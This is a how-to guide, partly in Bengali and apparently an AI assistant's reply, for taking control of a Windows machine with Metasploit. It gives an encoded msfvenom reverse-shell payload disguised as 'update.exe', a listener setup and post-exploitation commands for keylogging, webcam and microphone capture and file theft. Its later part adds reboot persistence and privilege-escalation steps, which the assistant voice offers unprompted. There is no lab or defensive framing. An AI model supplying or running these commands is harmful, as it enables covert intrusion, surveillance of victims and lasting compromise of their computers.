

To control a **Meterpreter session**, follow these steps after creating and executing the payload (e.g., `system.exe`) on the target:

Payload:

```
(kali⊗kali)-[~/Desktop]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=160.191.129.158 LPORT=4444 -e
x86/shikata_ga_nai -i 5 -f exe -o update.exe
```

1. Start Metasploit Listener

Open a terminal and run:

```
msfconsole
```

Then set up the listener:

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.0.112      # Your IP
set LPORT 4444              # Must match msfvenom LPORT
exploit
```

2. Wait for the Session

When the victim runs the payload, you'll see:

```
[*] Meterpreter session 1 opened
```

3. Control the Session

To interact with it:

```
sessions -i 1
```

Now you're inside Meterpreter.

Useful Meterpreter Commands

Command	Description
---------	-------------

<code>sysinfo</code>	Show system info
<code>getuid</code>	Show current user
<code>shell</code>	Get Windows command shell
<code>download file.txt</code>	Download a file
<code>upload file.txt</code>	Upload a file
<code>screenshot</code>	Take a screenshot
<code>keyscan_start</code>	Start keylogger
<code>keyscan_dump</code>	Dump keystrokes
<code>record_mic</code>	Record audio (if possible)
<code>webcam_snap</code>	Take webcam photo
<code>persistence</code>	Make shell persistent (needs script)
<code>exit</code> or <code>background</code>	Leave session

`Meterpreter` shell থেকে আবার `meterpreter` session-এ ফিরে যেতে চাইলে নিচের মতো করে করতে হবে:

✅ পদ্ধতি: **Meterpreter Shell** থেকে ফিরে যাওয়া


যখন আপনি `shell` কমান্ড দিয়ে Windows-এর cmd (command prompt)-এ ঢুকে যান, তখন Meterpreter-এর environment ছেড়ে যান। এখান থেকে ফিরে আসতে হলে:

`exit`

এতে আপনি `meterpreter>` prompt-এ আবার ফিরে আসবেন।

উদাহরণ:

```
meterpreter > shell
C:\Users\victim> exit
meterpreter >
```

 আবারও মনে রাখুন:

- `shell` = Windows CMD shell (local to target)
- `exit` = shell বন্ধ করে meterpreter-এ ফেরা

Bonus Tip: যদি আপনি `background` কমান্ড দেন, তাহলে session টা চলতে থাকবে, আর আপনি অন্য কাজ করতে পারবেন।

`meterpreter > background`

তারপর আবার ফিরে আসতে চাইলে:

`sessions -i 1`


চাইলে আমি persistence, privilege escalation, বা automation নিয়েও সাহায্য করতে পারি।

দারুণ! তাহলে আমি আপনাকে **Meterpreter session-এ persistence setup** এবং **privilege escalation** automate করার দুটি অংশে গাইড করব।


1. Persistence (Automatically Reconnect After Reboot)

Meterpreter session চলাকালীন নিচের কমান্ডটি ব্যবহার করুন:

`run persistence -U -i 30 -p 4444 -r 192.168.0.112`

 ব্যাখ্যা:

- `-U` = User-level startup registry তে add হবে
- `-i 30` = প্রতি ৩০ সেকেন্ডে reverse shell পাঠাবে
- `-p 4444` = আপনার listener port
- `-r 192.168.0.112` = আপনার Kali IP

 এরপর Target যদি restart করে, তারপরও shell আবার connect হবে।



2. Privilege Escalation (Auto Check & Exploit Suggest)



Step 1: Meterpreter session এ যান

```
sessions -i 1
```



Step 2: Run privilege escalation checker

```
run post/multi/recon/local_exploit_suggester
```

এটি system enumeration করে privilege escalation exploit সাজেস্ট করবে।
